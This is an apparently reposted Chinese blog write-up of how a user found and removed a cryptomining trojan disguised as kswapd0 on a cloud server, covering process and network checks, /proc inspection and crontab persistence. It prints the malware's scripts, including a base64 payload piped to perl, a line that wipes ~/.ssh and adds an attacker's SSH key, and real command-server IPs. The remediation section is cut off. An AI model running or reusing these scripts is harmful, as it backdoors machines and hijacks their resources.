admin管理员组文章数量:1591690
一、起因
腾讯云给我发了几封邮件说我的服务器被木马攻击。
image.png
我打开服务器监控一看,闲置的服务器CPU飙升。
image.png
二、排查
2.1 首先查询CPU占用最多的3个进程
查使用内存最多的K个进程
方式一:ps -aux | sort -k3nr | head -K
image.png
sort参数说明:
|选项 |说明
|—————|—————————————————————————
|-n |依照数值的大小排序,不加-n按字符串大小排序
|-r |以相反的顺序来排序
|-t |设置排序时所用的分隔字符
|-k |指定需要排序的列
|-u |去重
方式二:输入 top
, 然后输入大写P(输入大写M是按内存倒排)
image.png
最终发现是kswapd0进程在作乱。
2.2 排查kswapd0进程
2.2.1 执行命令netstat -antlp | grep kswapd0
查询该进程的网络信息
[root@VM-0-13-centos etc]# netstat -antlp | grep kswapd0
tcp 0 0 172.17.0.13:55402 45.9.148.129:80 ESTABLISHED 31036/./kswapd0
发现一个与本机端口通信的是一个荷兰的ip。
2.2.2 执行命令netstat -antlp | grep 45.9.148
查询该地区ip的其他网络占用情况
[root@VM-0-13-centos etc]# netstat -antlp | grep 45.9.148
tcp 0 1 172.17.0.13:47182 45.9.148.99:443 SYN_SENT 31000/rsync
tcp 0 0 172.17.0.13:55402 45.9.148.129:80 ESTABLISHED 31036/./kswapd0
发现还有一个rsync进程在工作。
执行 ps -ef | grep 31000
[root@VM-0-13-centos etc]# ps -ef | grep 31000
root 20734 28364 0 16:22 pts/1 00:00:00 grep --color=auto 31000
cj 31000 1 0 14:20 ? 00:00:00 rsync
确实有这个rsync进程在工作。
2.2.3 查找进程的详细信息
我们来到/proc/目录下查找对应的pid号,即/proc/31000和/proc/31036。可以在这两个目录下找到rsync进程和kswapd0进程的详细信息。
找到启动的脚本如下:
/proc/31000/exe -> /usr/bin/perl
/proc/31036/exe -> /tmp/.X25-unix/.rsync/a/kswapd0
其实应该看看cmdline文件的,但是已经被我删了。
/proc/pid/cmdline 进程启动命令
/proc/pid/cwd 链接到进程当前工作目录
/proc/pid/environ 进程环境变量列表
/proc/pid/exe 链接到进程的执行命令文件
/proc/pid/fd 包含进程相关的所有的文件描述符
/proc/pid/maps 与进程相关的内存映射信息
/proc/pid/mem 指代进程持有的内存,不可读
/proc/pid/root 链接到进程的根目录
/proc/pid/stat 进程的状态
/proc/pid/statm 进程使用的内存的状态
/proc/pid/status 进程状态信息,比stat/statm更具可读性
/proc/self 链接到当前正在运行的进程
2.2.4 在cj用户下查看定时任务 crontab -l
[cj@VM-0-13-centos ~]$ crontab -l
1 1 */2 * * /home/cj/.configrc/a/upd>/dev/null 2>&1
@reboot /home/cj/.configrc/a/upd>/dev/null 2>&1
5 8 * * 0 /home/cj/.configrc/b/sync>/dev/null 2>&1
@reboot /home/cj/.configrc/b/sync>/dev/null 2>&1
0 0 */3 * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1
还给我起了好多定时启动和重启启动的脚本。
2.2.4.1 查看 /home/cj/.configrc/a/ 目录
看一下upd脚本
#!/bin/sh
cd /home/cj/.configrc/a
if test -r /home/cj/.configrc/a/bash.pid; then
pid=$(cat /home/cj/.configrc/a/bash.pid)
if $(kill -CHLD $pid >/dev/null 2>&1); then
exit 0
fi
fi
./run &>/dev/null
在脚本中检查了bash.pid是否存在且可读,如果存在读取该pid并杀死进程,如果杀死成功,则退出脚本,否则执行run脚本;
bash.pid文件作用:1. pid文件的内容:pid文件为文本文件,内容只有一行, 记录了该进程的ID。用cat命令可以看到。2. pid文件的作用:防止进程启动多个副本。只有获得pid文件(固定路径固定文件名)写入权限(F_WRLCK)的进程才能正常启动并把自身的PID写入该文件中。其它同一个程序的多余进程则自动退出。
查看下run脚本
#!/bin/bash
./stop
./init0
sleep 10
pwd > dir.dir
dir=$(cat dir.dir)
ARCH=`uname -m`
if [ "$ARCH" == "i686" ]; then
nohup ./anacron >>/dev/null &
elif [ "$ARCH" == "x86_64" ]; then
./kswapd0
fi
echo $! > bash.pid
如果硬件类型是“i686”的话,就启动./anacron脚本;如果是“x86_64”的话,就启动万恶的kswapd0脚本。
查看下kswapd0脚本
额,打不开,有大佬指点一下吗?
2.2.4.2 查看 /home/cj/.configrc/b/ 目录
查看sync脚本
#!/bin/sh
cd /home/cj/.configrc/b
./run
直接调用run脚本。
查看run脚本
#!/bin/sh
nohup ./stop>>/dev/null &
sleep 5
echo "yw5Ik......RPKjIhWyJCYEAAPzBJXX0=" | base64 --decode | perl
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAB......3K+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh
原文件字符长度有4w多字,文章生成器都是一些密钥信息,将不重要的密钥信息删减了大半。该脚本主要就是将公钥写到.ssh文件中,然后就可以控制计算机了。
三、解决
crontab -e
删除木马创建的定时任务。包括/var/spool/cron和/etc/cron.d目录下的定时任务文件也要排查一下。- 删除所有木马创建的文件。主要
版权声明:本文标题:伪装为kswapd0进程的挖矿木马 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://www.elefans.com/dongtai/1728125966a1146400.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论